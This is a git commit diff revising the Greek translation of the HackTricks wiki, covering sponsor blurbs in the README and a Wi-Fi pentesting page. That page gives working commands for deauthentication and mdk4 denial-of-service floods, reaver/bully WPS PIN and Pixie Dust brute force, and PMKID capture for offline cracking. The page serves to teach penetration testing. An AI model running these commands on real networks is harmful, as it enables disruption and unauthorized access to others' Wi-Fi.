Translated ['README.md', 'generic-methodologies-and-resources/pentesting

This commit is contained in:
Translator 2024-11-19 12:41:13 +00:00
parent 0536d7dedb
commit d379790ff0
19 changed files with 477 additions and 479 deletions

View file

@ -5,7 +5,7 @@
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**Καλώς ήρθατε στη wiki όπου θα βρείτε κάθε κόλπο/τεχνική/οτιδήποτε έχω μάθει από CTFs, πραγματικές εφαρμογές, διαβάζοντας έρευνες και ειδήσεις.**
**Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/οτιδήποτε έχω μάθει από CTFs, εφαρμογές της πραγματικής ζωής, διαβάζοντας έρευνες και ειδήσεις.**
{% endhint %}
Για να ξεκινήσετε, ακολουθήστε αυτή τη σελίδα όπου θα βρείτε τη **τυπική ροή** που **πρέπει να ακολουθήσετε όταν κάνετε pentesting** σε μία ή περισσότερες **μηχανές:**
@ -32,7 +32,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πειθαρχία.
[**RootedCON**](https://www.rootedcon.com) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
{% embed url="https://www.rootedcon.com/" %}
@ -55,7 +55,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:
@ -65,7 +65,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Ελάτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
@ -81,9 +81,9 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Αποκτήστε την προοπτική ενός hacker για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**
**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας στο διαδίκτυο, το δίκτυο και το cloud**
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -93,12 +93,12 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** προσφέρει γρήγορες και εύκολες APIs σε πραγματικό χρόνο για **πρόσβαση στα αποτελέσματα μηχανών αναζήτησης**. Scrape-άρουν τις μηχανές αναζήτησης, χειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
**SerpApi** προσφέρει γρήγορες και εύκολες APIs σε πραγματικό χρόνο για **πρόσβαση στα αποτελέσματα μηχανών αναζήτησης**. Scrape μηχανές αναζήτησης, διαχειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
Μια συνδρομή σε ένα από τα σχέδια του SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικά APIs για scraping διαφορετικών μηχανών αναζήτησης, συμπεριλαμβανομένων των Google, Bing, Baidu, Yahoo, Yandex και άλλων.\
Σε αντίθεση με άλλους παρόχους, **η SerpApi δεν scrape-άρει μόνο οργανικά αποτελέσματα**. Οι απαντήσεις της SerpApi περιλαμβάνουν σταθερά όλες τις διαφημίσεις, inline εικόνες και βίντεο, γραφήματα γνώσεων και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης.
Σε αντίθεση με άλλους παρόχους, **το SerpApi δεν κάνει μόνο scraping οργανικών αποτελεσμάτων**. Οι απαντήσεις του SerpApi περιλαμβάνουν σταθερά όλες τις διαφημίσεις, inline εικόνες και βίντεο, γραφήματα γνώσεων και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης.
Οι τρέχοντες πελάτες της SerpApi περιλαμβάνουν **Apple, Shopify και GrubHub**.\
Οι τρέχοντες πελάτες του SerpApi περιλαμβάνουν **Apple, Shopify και GrubHub**.\
Για περισσότερες πληροφορίες, ελέγξτε το [**blog**](https://serpapi.com/blog/)**,** ή δοκιμάστε ένα παράδειγμα στο [**playground**](https://serpapi.com/playground)**.**\
Μπορείτε να **δημιουργήσετε έναν δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign\_up)**.**
@ -108,13 +108,13 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθά **στην προστασία** επιχειρήσεων **σε όλο τον κόσμο** από τις τελευταίες απειλές κυβερνοασφάλειας παρέχοντας **υπηρεσίες επιθετικής ασφάλειας** με μια **σύγχρονη** προσέγγιση.
[**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθά **να προστατεύει** επιχειρήσεις **σε όλο τον κόσμο** από τις τελευταίες απειλές κυβερνοασφάλειας παρέχοντας **υπηρεσίες επιθετικής ασφάλειας** με μια **σύγχρονη** προσέγγιση.
Η WebSec είναι μια **all-in-one εταιρεία ασφάλειας**, που σημαίνει ότι τα κάνει όλα: Pentesting, **Security** Audits, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Phishing, Ανασκόπηση Κώδικα, Ανάπτυξη Exploit, Εξωτερική Ανάθεση Ειδικών Ασφαλείας και πολλά άλλα.
Η WebSec είναι μια **all-in-one εταιρεία ασφάλειας** που σημαίνει ότι τα κάνει όλα; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Outsourcing Security Experts και πολλά άλλα.
Ένα άλλο ενδιαφέρον πράγμα για την WebSec είναι ότι, σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις ικανότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, δηλώνει στην ιστοσελίδα της "**Αν δεν μπορούμε να το hack-άρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους!
Ένα άλλο ενδιαφέρον πράγμα σχετικά με την WebSec είναι ότι σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις ικανότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, αναφέρει στην ιστοσελίδα της "**Αν δεν μπορούμε να το χακάρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους!
Επιπλέον, η WebSec είναι επίσης **δεσμευμένος υποστηρικτής του HackTricks.**
Επιπλέον, η WebSec είναι επίσης ένας **δεσμευμένος υποστηρικτής του HackTricks.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}

View file

@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
@ -85,16 +85,16 @@ sudo python setup.py install # Install any dependencies
Αυτό το εργαλείο αυτοματοποιεί τις επιθέσεις **WPS/WEP/WPA-PSK**. Θα αυτοματοποιήσει:
* Ρύθμιση της διεπαφής σε λειτουργία παρακολούθησης
* Σάρωση για πιθανά δίκτυα - Και σας επιτρέπει να επιλέξετε το θύμα(τα)
* Αν WEP - Εκκίνηση επιθέσεων WEP
* Αν WPA-PSK
* Αν WPS: Επίθεση Pixie dust και η επίθεση brute-force (προσοχή, η επίθεση brute-force μπορεί να διαρκέσει πολύ). Σημειώστε ότι δεν προσπαθεί με null PIN ή PIN που έχουν δημιουργηθεί από βάση δεδομένων.
* Προσπάθεια σύλληψης του PMKID από το AP για να το σπάσει
* Προσπάθεια αποσύνδεσης πελατών του AP για να συλληφθεί ένα handshake
* Αν PMKID ή Handshake, προσπαθήστε να κάνετε brute-force χρησιμοποιώντας τους 5000 κορυφαίους κωδικούς πρόσβασης.
* Να ρυθμίσει τη διεπαφή σε λειτουργία παρακολούθησης
* Να σαρώσει για πιθανά δίκτυα - Και να σας επιτρέψει να επιλέξετε το θύμα(τα)
* Αν είναι WEP - Να εκκινήσει επιθέσεις WEP
* Αν είναι WPA-PSK
* Αν είναι WPS: Επίθεση Pixie dust και η επίθεση brute-force (προσοχή, η επίθεση brute-force μπορεί να διαρκέσει πολύ). Σημειώστε ότι δεν προσπαθεί με null PIN ή PIN που έχουν δημιουργηθεί από βάση δεδομένων.
* Να προσπαθήσει να συλλάβει το PMKID από το AP για να το σπάσει
* Να προσπαθήσει να αποσυνδέσει τους πελάτες του AP για να συλλάβει ένα handshake
* Αν είναι PMKID ή Handshake, να προσπαθήσει να σπάσει χρησιμοποιώντας τους 5000 κορυφαίους κωδικούς πρόσβασης.
## Περίληψη Επιθέσεων
## Επιθέσεις Περίληψη
* **DoS**
* Αποσύνδεση/αποσυσχέτιση -- Αποσυνδέστε όλους (ή μια συγκεκριμένη ESSID/Client)
@ -103,21 +103,21 @@ sudo python setup.py install # Install any dependencies
* WIDS -- Παίξτε με το IDS
* TKIP, EAPOL -- Ορισμένες συγκεκριμένες επιθέσεις για DoS σε ορισμένα APs
* **Cracking**
* Σπάσιμο **WEP** (πολλά εργαλεία και μέθοδοι)
* Σπάστε **WEP** (πολλά εργαλεία και μέθοδοι)
* **WPA-PSK**
* **WPS** pin "Brute-Force"
* **WPA PMKID** brute-force
* \[DoS +] **WPA handshake** σύλληψη + Σπάσιμο
* \[DoS +] **WPA handshake** capture + Cracking
* **WPA-MGT**
* **Σύλληψη Ονόματος Χρήστη**
* **Bruteforce** Διαπιστευτήρια
* **Evil Twin** (με ή χωρίς DoS)
* **Ανοιχτό** Evil Twin \[+ DoS] -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή για επιθέσεις LAN
* **Ανοιχτό** Evil Twin \[+ DoS] -- Χρήσιμο για να συλλάβετε διαπιστευτήρια captive portal και/ή να εκτελέσετε επιθέσεις LAN
* **WPA-PSK** Evil Twin -- Χρήσιμο για επιθέσεις δικτύου αν γνωρίζετε τον κωδικό πρόσβασης
* **WPA-MGT** -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων εταιρείας
* **WPA-MGT** -- Χρήσιμο για να συλλάβετε διαπιστευτήρια εταιρείας
* **KARMA, MANA**, **Loud MANA**, **Γνωστό beacon**
* **+ Ανοιχτό** -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή για επιθέσεις LAN
* **+ WPA** -- Χρήσιμο για τη σύλληψη WPA handshakes
* **+ Ανοιχτό** -- Χρήσιμο για να συλλάβετε διαπιστευτήρια captive portal και/ή να εκτελέσετε επιθέσεις LAN
* **+ WPA** -- Χρήσιμο για να συλλάβετε WPA handshakes
## DOS
@ -125,21 +125,21 @@ sudo python setup.py install # Install any dependencies
**Περιγραφή από** [**εδώ**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
Οι επιθέσεις **Αποσύνδεσης**, μια διαδεδομένη μέθοδος στο Wi-Fi hacking, περιλαμβάνουν τη δημιουργία "διαχειριστικών" πλαισίων για να **αποσυνδέσουν βίαια τις συσκευές από ένα δίκτυο**. Αυτά τα μη κρυπτογραφημένα πακέτα εξαπατούν τους πελάτες να πιστεύουν ότι προέρχονται από το νόμιμο δίκτυο, επιτρέποντας στους επιτιθέμενους να συλλέγουν WPA handshakes για σκοπούς σπασίματος ή να διαταράσσουν μόνιμα τις συνδέσεις δικτύου. Αυτή η τακτική, ανησυχητική στην απλότητά της, χρησιμοποιείται ευρέως και έχει σημαντικές επιπτώσεις για την ασφάλεια του δικτύου.
Οι επιθέσεις **Αποσύνδεσης**, μια διαδεδομένη μέθοδος στο Wi-Fi hacking, περιλαμβάνουν τη δημιουργία "διαχειριστικών" πλαισίων για να **αποσυνδέσουν βίαια τις συσκευές από ένα δίκτυο**. Αυτά τα μη κρυπτογραφημένα πακέτα εξαπατούν τους πελάτες να πιστεύουν ότι προέρχονται από το νόμιμο δίκτυο, επιτρέποντας στους επιτιθέμενους να συλλέγουν WPA handshakes για σκοπούς cracking ή να διαταράσσουν μόνιμα τις συνδέσεις δικτύου. Αυτή η τακτική, ανησυχητική στην απλότητά της, χρησιμοποιείται ευρέως και έχει σημαντικές επιπτώσεις για την ασφάλεια του δικτύου.
**Αποσύνδεση χρησιμοποιώντας Aireplay-ng**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
* \-0 σημαίνει αποσύνδεση
* 1 είναι ο αριθμός των αποσυνδέσεων που θα σταλούν (μπορείτε να στείλετε πολλές αν το επιθυμείτε); 0 σημαίνει να τις στείλετε συνεχώς
* 1 είναι ο αριθμός των αποσυνδέσεων που θα σταλούν (μπορείτε να στείλετε πολλές αν το επιθυμείτε); 0 σημαίνει ότι θα στέλνονται συνεχώς
* \-a 00:14:6C:7E:40:80 είναι η διεύθυνση MAC του σημείου πρόσβασης
* \-c 00:0F:B5:34:30:30 είναι η διεύθυνση MAC του πελάτη που θα αποσυνδεθεί; αν αυτό παραλειφθεί, τότε αποστέλλεται αποσύνδεση εκπομπής (δεν λειτουργεί πάντα)
* \-c 00:0F:B5:34:30:30 είναι η διεύθυνση MAC του πελάτη που θα αποσυνδεθεί; αν αυτό παραλειφθεί, τότε αποσύνδεση εκπομπής θα σταλεί (δεν λειτουργεί πάντα)
* ath0 είναι το όνομα της διεπαφής
### Πακέτα Αποσύνδεσης
**Τα πακέτα αποσύνδεσης**, παρόμοια με τα πακέτα αποσύνδεσης, είναι ένας τύπος διαχειριστικού πλαισίου που χρησιμοποιείται σε δίκτυα Wi-Fi. Αυτά τα πακέτα εξυπηρετούν για να διακόψουν τη σύνδεση μεταξύ μιας συσκευής (όπως ένα φορητό υπολογιστή ή smartphone) και ενός σημείου πρόσβασης (AP). Η κύρια διάκριση μεταξύ αποσύνδεσης και αποσύνδεσης έγκειται στα σενάρια χρήσης τους. Ενώ ένα AP εκπέμπει **πακέτα αποσύνδεσης για να αφαιρέσει ρητά τις κακόβουλες συσκευές από το δίκτυο, τα πακέτα αποσύνδεσης αποστέλλονται συνήθως όταν το AP υποβάλλεται σε κλείσιμο**, επανεκκίνηση ή μετακίνηση, απαιτώντας έτσι τη διακοπή της σύνδεσης όλων των συνδεδεμένων κόμβων.
**Τα πακέτα αποσύνδεσης**, παρόμοια με τα πακέτα αποσύνδεσης, είναι ένας τύπος διαχειριστικού πλαισίου που χρησιμοποιείται σε δίκτυα Wi-Fi. Αυτά τα πακέτα εξυπηρετούν για να διακόψουν τη σύνδεση μεταξύ μιας συσκευής (όπως ένα φορητό υπολογιστή ή smartphone) και ενός σημείου πρόσβασης (AP). Η κύρια διάκριση μεταξύ αποσύνδεσης και αποσύνδεσης έγκειται στα σενάρια χρήσης τους. Ενώ ένα AP εκπέμπει **πακέτα αποσύνδεσης για να αφαιρέσει ρητά κακόβουλες συσκευές από το δίκτυο, τα πακέτα αποσύνδεσης συνήθως αποστέλλονται όταν το AP βρίσκεται σε διαδικασία απενεργοποίησης**, επανεκκίνησης ή μετακίνησης, απαιτώντας έτσι τη διακοπή της σύνδεσης όλων των συνδεδεμένων κόμβων.
**Αυτή η επίθεση μπορεί να εκτελεστεί με το mdk4(mode "d"):**
```bash
@ -164,9 +164,9 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
```
**ATTACK MODE a: Authentication Denial-Of-Service**
**ΕΠΙΘΕΤΙΚΟΣ ΤΡΟΠΟΣ a: Άρνηση Υπηρεσίας Αυθεντικοποίησης**
Η αποστολή πλαισίων αυθεντικοποίησης σε όλα τα προσβάσιμα Access Points (APs) εντός εμβέλειας μπορεί να υπερφορτώσει αυτά τα APs, ειδικά όταν εμπλέκονται πολλοί πελάτες. Αυτή η έντονη κίνηση μπορεί να οδηγήσει σε αστάθεια του συστήματος, προκαλώντας σε ορισμένα APs να κολλήσουν ή ακόμη και να επαναρυθμιστούν.
Η αποστολή πλαισίων αυθεντικοποίησης σε όλα τα προσβάσιμα Σημεία Πρόσβασης (APs) εντός εμβέλειας μπορεί να υπερφορτώσει αυτά τα APs, ειδικά όταν εμπλέκονται πολλοί πελάτες. Αυτή η έντονη κίνηση μπορεί να οδηγήσει σε αστάθεια του συστήματος, προκαλώντας σε ορισμένα APs να κολλήσουν ή ακόμη και να επαναρυθμιστούν.
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
@ -199,14 +199,14 @@ mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
**ATTACK MODE w: Σύγχυση WIDS**
Η διασύνδεση πελατών σε πολλαπλά WDS nodes ή ψεύτικα rogue APs μπορεί να χειραγωγήσει τα Συστήματα Ανίχνευσης και Πρόληψης Εισβολών, δημιουργώντας σύγχυση και πιθανή κακή χρήση του συστήματος.
Η διασύνδεση πελατών σε πολλαπλούς κόμβους WDS ή ψεύτικα κακόβουλα APs μπορεί να χειραγωγήσει τα Συστήματα Ανίχνευσης και Πρόληψης Εισβολών, δημιουργώντας σύγχυση και πιθανή κακή χρήση του συστήματος.
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
```
**ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ f: Packet Fuzzer**
Ένας packet fuzzer που διαθέτει ποικιλία πηγών πακέτων και ένα ολοκληρωμένο σύνολο τροποποιητών για την επεξεργασία πακέτων.
Ένας packet fuzzer με ποικιλία πηγών πακέτων και ένα ολοκληρωμένο σύνολο τροποποιητών για την επεξεργασία πακέτων.
### **Airggedon**
@ -225,7 +225,7 @@ _**Airgeddon**_ προσφέρει τις περισσότερες από τις
* **Reaver** έχει σχεδιαστεί για να είναι μια ισχυρή και πρακτική επίθεση κατά του WPS, και έχει δοκιμαστεί σε μια ευρεία ποικιλία σημείων πρόσβασης και υλοποιήσεων WPS.
* **Bully** είναι μια **νέα υλοποίηση** της επίθεσης brute force WPS, γραμμένη σε C. Έχει αρκετά πλεονεκτήματα σε σχέση με τον αρχικό κώδικα reaver: λιγότερες εξαρτήσεις, βελτιωμένη μνήμη και απόδοση CPU, σωστή διαχείριση του endianness, και ένα πιο ισχυρό σύνολο επιλογών.
Η επίθεση εκμεταλλεύεται την **ευπάθεια του WPS PIN**, ιδιαίτερα την έκθεση των πρώτων τεσσάρων ψηφίων και τον ρόλο του τελευταίου ψηφίου ως checksum, διευκολύνοντας την επίθεση brute-force. Ωστόσο, οι αμυντικές στρατηγικές κατά των επιθέσεων brute-force, όπως η **μπλοκάρισμα διευθύνσεων MAC** επιθετικών επιτιθεμένων, απαιτούν **περιστροφή διευθύνσεων MAC** για να συνεχιστεί η επίθεση.
Η επίθεση εκμεταλλεύεται την **ευπάθεια του WPS PIN**, ιδιαίτερα την έκθεση των πρώτων τεσσάρων ψηφίων και τον ρόλο του τελευταίου ψηφίου ως checksum, διευκολύνοντας την επίθεση brute-force. Ωστόσο, οι άμυνες κατά των επιθέσεων brute-force, όπως **το μπλοκάρισμα διευθύνσεων MAC** επιθετικών επιτιθεμένων, απαιτούν **περιστροφή διευθύνσεων MAC** για να συνεχιστεί η επίθεση.
Αφού αποκτήσει το WPS PIN με εργαλεία όπως το Bully ή το Reaver, ο επιτιθέμενος μπορεί να deduce το WPA/WPA2 PSK, εξασφαλίζοντας **μόνιμη πρόσβαση στο δίκτυο**.
```bash
@ -236,14 +236,14 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Αυτή η εκλεπτυσμένη προσέγγιση στοχεύει σε WPS PINs χρησιμοποιώντας γνωστές ευπάθειες:
1. **Προκαθορισμένα PINs**: Χρησιμοποιήστε μια βάση δεδομένων γνωστών PINs που συνδέονται με συγκεκριμένους κατασκευαστές που είναι γνωστό ότι χρησιμοποιούν ομοιόμορφα WPS PINs. Αυτή η βάση δεδομένων συσχετίζει τα πρώτα τρία οκτάδες των MAC διευθύνσεων με πιθανές PINs για αυτούς τους κατασκευαστές.
2. **Αλγόριθμοι Γεννήτριας PIN**: Εκμεταλλευτείτε αλγόριθμους όπως ComputePIN και EasyBox, οι οποίοι υπολογίζουν WPS PINs με βάση τη MAC διεύθυνση του AP. Ο αλγόριθμος Arcadyan απαιτεί επιπλέον μια ταυτότητα συσκευής, προσθέτοντας μια επιπλέον διάσταση στη διαδικασία δημιουργίας PIN.
1. **Προκαθορισμένα PINs**: Χρησιμοποιήστε μια βάση δεδομένων γνωστών PINs που συνδέονται με συγκεκριμένους κατασκευαστές που είναι γνωστό ότι χρησιμοποιούν ομοιόμορφα WPS PINs. Αυτή η βάση δεδομένων συσχετίζει τα πρώτα τρία οκτάδες των MAC-διευθύνσεων με πιθανές PINs για αυτούς τους κατασκευαστές.
2. **Αλγόριθμοι Γεννήτριας PIN**: Εκμεταλλευτείτε αλγόριθμους όπως ComputePIN και EasyBox, οι οποίοι υπολογίζουν WPS PINs με βάση τη MAC-διεύθυνση του AP. Ο αλγόριθμος Arcadyan απαιτεί επιπλέον μια ταυτότητα συσκευής, προσθέτοντας μια επιπλέον διάσταση στη διαδικασία δημιουργίας PIN.
### WPS Pixie Dust attack
**Dominique Bongard** ανακάλυψε ένα σφάλμα σε ορισμένα Access Points (APs) σχετικά με τη δημιουργία μυστικών κωδικών, γνωστών ως **nonces** (**E-S1** και **E-S2**). Εάν αυτά τα nonces μπορέσουν να ανακαλυφθούν, η παραβίαση του WPS PIN του AP γίνεται εύκολη. Το AP αποκαλύπτει το PIN μέσα σε έναν ειδικό κωδικό (hash) για να αποδείξει ότι είναι νόμιμο και όχι ψεύτικο (rogue) AP. Αυτά τα nonces είναι ουσιαστικά τα "κλειδιά" για το άνοιγμα του "σεντουκιού" που κρατά το WPS PIN. Περισσότερα σχετικά με αυτό μπορείτε να βρείτε [εδώ](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
**Dominique Bongard** ανακάλυψε ένα σφάλμα σε ορισμένα Access Points (APs) σχετικά με τη δημιουργία μυστικών κωδικών, γνωστών ως **nonces** (**E-S1** και **E-S2**). Εάν αυτά τα nonces μπορέσουν να ανακαλυφθούν, η αποκρυπτογράφηση του WPS PIN του AP γίνεται εύκολη. Το AP αποκαλύπτει το PIN μέσα σε έναν ειδικό κωδικό (hash) για να αποδείξει ότι είναι νόμιμο και όχι ψεύτικο (rogue) AP. Αυτά τα nonces είναι ουσιαστικά τα "κλειδιά" για το "σεντούκι" που κρατά το WPS PIN. Περισσότερα σχετικά με αυτό μπορείτε να βρείτε [εδώ](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
Με απλά λόγια, το πρόβλημα είναι ότι ορισμένα APs δεν χρησιμοποίησαν αρκετά τυχαία κλειδιά για την κρυπτογράφηση του PIN κατά τη διαδικασία σύνδεσης. Αυτό καθιστά το PIN ευάλωτο στο να μαντευτεί από έξω από το δίκτυο (offline brute force attack).
Με απλά λόγια, το πρόβλημα είναι ότι ορισμένα APs δεν χρησιμοποίησαν αρκετά τυχαία κλειδιά για την κρυπτογράφηση του PIN κατά τη διάρκεια της διαδικασίας σύνδεσης. Αυτό καθιστά το PIN ευάλωτο σε μαντεψιά από έξω από το δίκτυο (offline brute force attack).
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
@ -278,7 +278,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -299,7 +299,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
### PMKID
Το 2018, **hashcat** [αποκάλυψε](https://hashcat.net/forum/thread-7717.html) μια νέα μέθοδο επίθεσης, μοναδική επειδή χρειάζεται μόνο **ένα μόνο πακέτο** και δεν απαιτεί κανέναν πελάτη να είναι συνδεδεμένος στο στοχευμένο AP—μόνο αλληλεπίδραση μεταξύ του επιτιθέμενου και του AP.
Το 2018, **hashcat** [αποκάλυψε](https://hashcat.net/forum/thread-7717.html) μια νέα μέθοδο επίθεσης, μοναδική επειδή χρειάζεται μόνο **ένα μόνο πακέτο** και δεν απαιτεί κανέναν πελάτη να είναι συνδεδεμένος στο στόχο AP—μόνο αλληλεπίδραση μεταξύ του επιτιθέμενου και του AP.
Πολλοί σύγχρονοι δρομολογητές προσθέτουν ένα **προαιρετικό πεδίο** στο **πρώτο EAPOL** πλαίσιο κατά τη διάρκεια της συσχέτισης, γνωστό ως `Robust Security Network`. Αυτό περιλαμβάνει το `PMKID`.
@ -307,7 +307,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
Δεδομένου ότι το "PMK Name" είναι σταθερό, γνωρίζουμε το BSSID του AP και του σταθμού, και το `PMK` είναι ταυτόσημο με αυτό από μια πλήρη 4-way handshake, το **hashcat** μπορεί να χρησιμοποιήσει αυτές τις πληροφορίες για να σπάσει το PSK και να ανακτήσει τη φράση πρόσβασης!
Δεδομένου ότι το "PMK Name" είναι σταθερό, γνωρίζουμε το BSSID του AP και του σταθμού, και το `PMK` είναι ταυτόσημο με αυτό από μια πλήρη 4-way handshake, **hashcat** μπορεί να χρησιμοποιήσει αυτές τις πληροφορίες για να σπάσει το PSK και να ανακτήσει τη φράση πρόσβασης!
Για να **συγκεντρώσετε** αυτές τις πληροφορίες και να **bruteforce** τοπικά τον κωδικό πρόσβασης μπορείτε να κάνετε:
```bash
@ -322,7 +322,7 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
